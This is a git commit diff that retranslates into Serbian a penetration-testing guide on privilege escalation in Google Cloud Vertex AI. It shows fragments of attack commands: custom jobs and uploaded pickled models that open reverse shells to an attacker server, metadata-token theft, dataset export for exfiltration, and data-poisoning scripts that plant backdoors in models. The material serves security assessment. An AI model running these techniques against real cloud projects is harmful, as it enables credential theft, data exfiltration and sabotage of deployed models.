Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2025-11-24 10:25:51 +00:00
parent 8d728a8868
commit 8825bcff37

View File

@@ -12,15 +12,15 @@ Za više informacija o Vertex AI pogledajte:
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljnom servisnom nalogu, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**.
Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljanom service account-u, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**.
Ovo funkcioniše kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog servisnog naloga pomoću `--service-account` flag-a, job nasleđuje dozvole tog servisnog naloga. Job se izvršava na infrastrukturi kojom upravlja Google i ima pristup GCP metadata service-u, što omogućava ekstrakciju OAuth access token-a servisnog naloga.
Ovo se postiže kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog service account-a pomoću `--service-account` flag-a, job nasleđuje dozvole tog service account-a. Job se izvršava na Google-managed infrastructure i ima pristup GCP metadata service-u, što omogućava izdvajanje OAuth access token-a service account-a.
**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog servisnog naloga.
**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljanog service account-a.
<details>
<summary>Kreiranje custom job-a sa reverse shell</summary>
<summary>Kreiraj custom job sa reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
<details>
<summary>Alternativa: Izvuci token iz logs</summary>
<summary>Alternativa: Izdvoji token iz logova</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>
> [!CAUTION]
> Custom job će se izvršavati sa privilegijama navedenog service account-a. Uverite se da imate `iam.serviceAccounts.actAs` dozvolu nad ciljnim service account-om.
### `aiplatform.models.upload`, `aiplatform.models.get`
Ova tehnika ostvaruje eskalaciju privilegija otpremanjem modela u Vertex AI i korišćenjem tog modela za izvršavanje koda sa povišenim privilegijama kroz endpoint deployment ili batch prediction job.
Ova tehnika poste eskalaciju privilegija tako što se otpremi model u Vertex AI, a zatim se taj model iskoristi za izvršavanje koda sa povišenim privilegijama putem endpoint deployment-a ili batch prediction job-a.
> [!NOTE]
> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv svima (world-readable) ili kreirati novi u koji ćete otpremiti artefakte modela.
> Da biste izveli ovaj napad, potrebno je imati world readable GCS bucket ili kreirati novi za otpremu model artefakata.
<details>
<summary>Otpremanje zlonamernog pickled modela sa reverse shell-om</summary>
<summary>Otpremite zlonamerni pickled model sa reverse shell-om</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -113,7 +111,7 @@ gcloud ai models upload \
<details>
<summary>Otpremi model sa container reverse shell</summary>
<summary>Otpremanje modela sa reverse shell-om u kontejneru</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
@@ -145,16 +143,16 @@ gcloud ai models upload \
</details>
> [!DANGER]
> Nakon otpremanja zlonamernog modela, napadač može da sačeka da ga neko upotrebi, ili da ga sam pokrene putem endpoint deployment-a ili batch prediction job-a.
> Nakon uploadovanja malicioznog modela napadač može sačekati da ga neko upotrebi, ili ga sam pokrenuti putem deploy-a na endpoint ili batch prediction job-a.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti otpremljene zlonamerne modele u projektu da biste ostvarili eskalaciju privilegija. Da biste pokrenuli jedan od prethodno otpremljenih zlonamernih modela preko endpointa, sve što treba da uradite je:
Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti uploadovane maliciozne modele u projektu da postignete privilege escalation. Da biste aktivirali jedan od ranije uploadovanih malicioznih modela preko endpoint-a, sve što treba da uradite je:
<details>
<summary>Deploy zlonamernog modela na endpoint</summary>
<summary>Deploy malicious model to endpoint</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
@@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model <endpoint-id> \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
Ako imate dozvole za kreiranje **batch prediction jobs** i njihovo pokretanje pomoću service account-a, možete pristupiti metadata service-u. Zlonamerni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction.
Ako imate dozvole za kreiranje **batch prediction jobs** i za njegovo pokretanje koristeći service account, možete pristupiti metadata service-u. Maliciozni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction.
**Note**: Batch prediction jobs mogu biti kreirani samo preko REST API-ja ili Python SDK-a (gcloud CLI nije podržan).
**Note**: Batch prediction jobs se mogu kreirati samo preko REST API-ja ili Python SDK-a (nema podrške za gcloud CLI).
> [!NOTE]
> Ovaj napad zahteva prvo otpremanje malicious model-a (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell kodom.
> Ovaj napad zahteva prvo otpremanje malicious model (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell code-om.
<details>
@@ -240,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
Ako imate dozvolu **models.export**, možete izvesti artefakte modela u GCS bucket koji kontrolišete, što može dovesti do pristupa osetljivim podacima za obuku ili fajlovima modela.
Ako imate **models.export** dozvolu, možete izvesti artefakte modela u GCS bucket koji kontrolišete, potencijalno pristupajući osetljivim podacima za obuku ili fajlovima modela.
> [!NOTE]
> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv i upisiv za sve ili kreirati novi da biste otpremili artefakte modela.
> Da biste izveli ovaj napad, potrebno je da imate GCS bucket koji je javno čitljiv i u koji se može pisati, ili da kreirate novi bucket u koji ćete otpremiti artefakte modela.
<details>
<summary>Izvoz artefakata modela u GCS bucket</summary>
<summary>Izvezi artefakte modela u GCS bucket</summary>
```bash
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
@@ -274,12 +272,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite eskalaciju privilegija kroz reverse shell pristup.
Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite privilege escalation putem reverse shell pristupa.
Pipelines su posebno moćne za eskalaciju privilegija jer podržavaju višestepene napade gde svaka komponenta može koristiti različite kontejnere i konfiguracije.
Pipelines su posebno moćni za privilege escalation jer podržavaju multi-stage napade u kojima svaka komponenta može koristiti različite kontejnere i konfiguracije.
> [!NOTE]
> Potreban vam je GCS bucket koji je upisiv za sve da biste ga koristili kao pipeline root.
> Potrebno vam je world writable GCS bucket koji će se koristiti kao pipeline root.
<details>
@@ -386,15 +384,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Kreirajte **hyperparameter tuning jobs** koji pokreću proizvoljan kod sa povišenim privilegijama koristeći custom training containers.
Kreirajte **hyperparameter tuning jobs** koji izvršavaju proizvoljan kod sa povišenim privilegijama putem custom training containers.
Hyperparameter tuning jobs omogućavaju pokretanje više trening pokušaja paralelno, svaki sa različitim vrednostima hyperparametara. Ako navedete zlonamerni container koji sadrži reverse shell ili exfiltration command i povežete ga sa privilegovanim service account-om, možete ostvariti privilege escalation.
Hyperparameter tuning jobs omogućavaju vam da pokrenete više training trial-ova paralelno, svaki sa različitim hyperparameter vrednostima. Specificiranjem malicioznog container-a sa reverse shell-om ili exfiltration komandом, i povezivanjem sa privilegovanim service account-om, možete postići eskalaciju privilegija.
**Impact**: Potpuna privilege escalation do dozvola ciljanog service account-a.
**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog service account-a.
<details>
<summary>Kreirajte hyperparameter tuning job sa reverse shell</summary>
<summary>Kreirajte hyperparameter tuning job sa reverse shell-om</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
Izvezite **datasets** da biste eksfiltrirali podatke za treniranje koji mogu sadržati osetljive informacije.
Izvezite **datasets** kako biste izvršili exfiltrate training data koje mogu sadržati osetljive informacije.
**Napomena**: Operacije nad datasetima zahtevaju REST API ili Python SDK (nema podrške u gcloud CLI za datasets).
**Napomena**: Operacije sa dataset-ovima zahtevaju REST API ili Python SDK (gcloud CLI ne podržava dataset-e).
Datasets često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcionih modela.
Dataseti često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcijskih modela.
<details>
<summary>Izvoz dataseta radi eksfiltracije podataka za treniranje</summary>
<summary>Izvezite dataset za exfiltrate training data</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -492,25 +490,25 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
Uvezi zlonamerne ili zatrovane podatke u postojeće skupove podataka da bi se **manipulisalo treniranjem modela i uvelo backdoors**.
Uvoz zlonamernih ili otrovanih podataka u postojeće skupove podataka kako bi se **manipulisalo treniranjem modela i ubacili backdoors**.
**Napomena**: operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema podrške gcloud CLI za skupove podataka).
**Napomena**: Operacije nad dataset-ima zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za datasete).
Uvođenjem pažljivo izrađenih podataka u skup podataka koji se koristi za treniranje ML modela, napadač može:
- Uvesti backdoors u modele (trigger-based misclassification)
Uvođenjem pažljivo pripremljenih podataka u dataset koji se koristi za treniranje ML modela, napadač može:
- Ubaciti backdoors u modele (pogrešna klasifikacija aktivirana trigger-om)
- Zatrovati podatke za treniranje kako bi se pogoršale performanse modela
- Ubaciti podatke kako bi modeli leak-ovali informacije
- Manipulisati ponašanjem modela za specifične ulaze
- Ubaciti podatke da nateraju modele da leak informacije
- Manipulisati ponašanje modela za specifične ulaze
Ovaj napad je naročito efikasan kada cilja skupove podataka koji se koriste za:
- Klasifikacija slika (ubaciti pogrešno označene slike)
- Klasifikacija teksta (ubaciti pristrasan ili zlonameran tekst)
- Detekcija objekata (manipulisati bounding boxes)
- Sistemi preporuka (ubaciti lažne preferencije)
Ovaj napad je posebno efikasan kada cilja skupove podataka koji se koriste za:
- Klasifikaciju slika (ubaci pogrešno označene slike)
- Klasifikaciju teksta (ubaci pristrasan ili zlonameran tekst)
- Detekciju objekata (manipulisanje bounding box-ovima)
- Sisteme preporuka (ubaci lažne preferencije)
<details>
<summary>Uvezi zatrovane podatke u skup podataka</summary>
<summary>Import poisoned data into dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
@@ -571,7 +569,7 @@ curl -s -X GET \
<details>
<summary>Backdoor attack - Klasifikacija slika</summary>
<summary>Backdoor attack - Image classification</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -598,7 +596,7 @@ done > label_flip.jsonl
<details>
<summary>Data poisoning for model extraction</summary>
<summary>Data poisoning za model extraction</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
@@ -625,34 +623,34 @@ EOF
</details>
> [!DANGER]
> Data poisoning attacks mogu imati ozbiljne posledice:
> - **Bezbednosni sistemi**: Zaobići sistem za prepoznavanje lica ili otkrivanje anomalija
> - **Otkrivanje prevara**: Naterati modele da ignorišu specifične obrasce prevara
> - **Moderacija sadržaja**: Navesti da se štetan sadržaj klasifikuje kao bezbedan
> - **Medicinski AI**: Pogrešno klasifikovati kritična zdravstvena stanja
> - **Autonomni sistemi**: Manipulisati detekcijom objekata u odlukama koje su kritične za bezbednost
> Data poisoning attacks can have severe consequences:
> - **Sistemi bezbednosti**: Zaobići prepoznavanje lica ili detekciju anomalija
> - **Detekcija prevara**: Obučiti modele da ignorišu specifične obrasce prevara
> - **Moderacija sadržaja**: Naterati da štetni sadržaj bude klasifikovan kao bezbedan
> - **Medical AI**: Pogrešno klasifikovati kritična zdravstvena stanja
> - **Autonomni sistemi**: Manipulisati detekcijom objekata za odluke kritične po bezbednost
**Uticaj**:
- Modeli sa backdoor-om koji pogrešno klasifikuju na određene okidače
- Backdoored models that misclassify on specific triggers
- Smanjena performansa i tačnost modela
- Pristrasni modeli koji diskriminišu određene ulaze
- Information leakage through model behavior
- Dugoročna upornost (modeli trenirani na poisoned data će naslediti backdoor)
- Procurivanje informacija kroz ponašanje modela
- Dugoročna postojanost (modeli trenirani na poisoned data će naslediti backdoor)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API je zastareo kao deo depreciranja Vertex AI Workbench Managed Notebooks. Moderni pristup je korišćenje **Vertex AI Workbench Executor** koji pokreće notebooks kroz `aiplatform.customJobs.create` (već dokumentovano iznad).
> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-ova koji se izvršavaju na Vertex AI custom training infrastrukturi sa specificiranim servisnim nalogom. Ovo je u suštini praktičan wrapper oko `customJobs.create`.
> **For privilege escalation via notebooks**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor.
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-a koji se izvršavaju na Vertex AI custom training infrastrukturi sa određenim servisnim nalogom. Ovo je ustvari praktičan omotač oko `customJobs.create`.
> **Za privilege escalation putem notebook-ova**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor.
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
**Sledeća tehnika je navedena isključivo radi istorijskog konteksta i nije preporučljiva za upotrebu u novim procenama.**
Kreirajte **notebook execution jobs** koji pokreću Jupyter notebooks sa proizvoljnim kodom.
Kreirajte zadatke izvršavanja notebook-a koji pokreću Jupyter notebooks sa proizvoljnim kodom.
Notebook jobs su idealni za interaktivno izvršavanje koda sa servisnim nalogom, jer podržavaju Python ćelije koda i shell komande.
Notebook jobs su idealni za izvršavanje koda u interaktivnom stilu sa servisnim nalogom, jer podržavaju Python code cells i shell komande.
<details>
@@ -683,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
<details>
<summary>Pokreni notebook koristeći ciljni service account</summary>
<summary>Pokreni notebook sa ciljnim servisnim nalogom</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
@@ -711,7 +709,7 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
</details>
## Reference
## Izvori
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)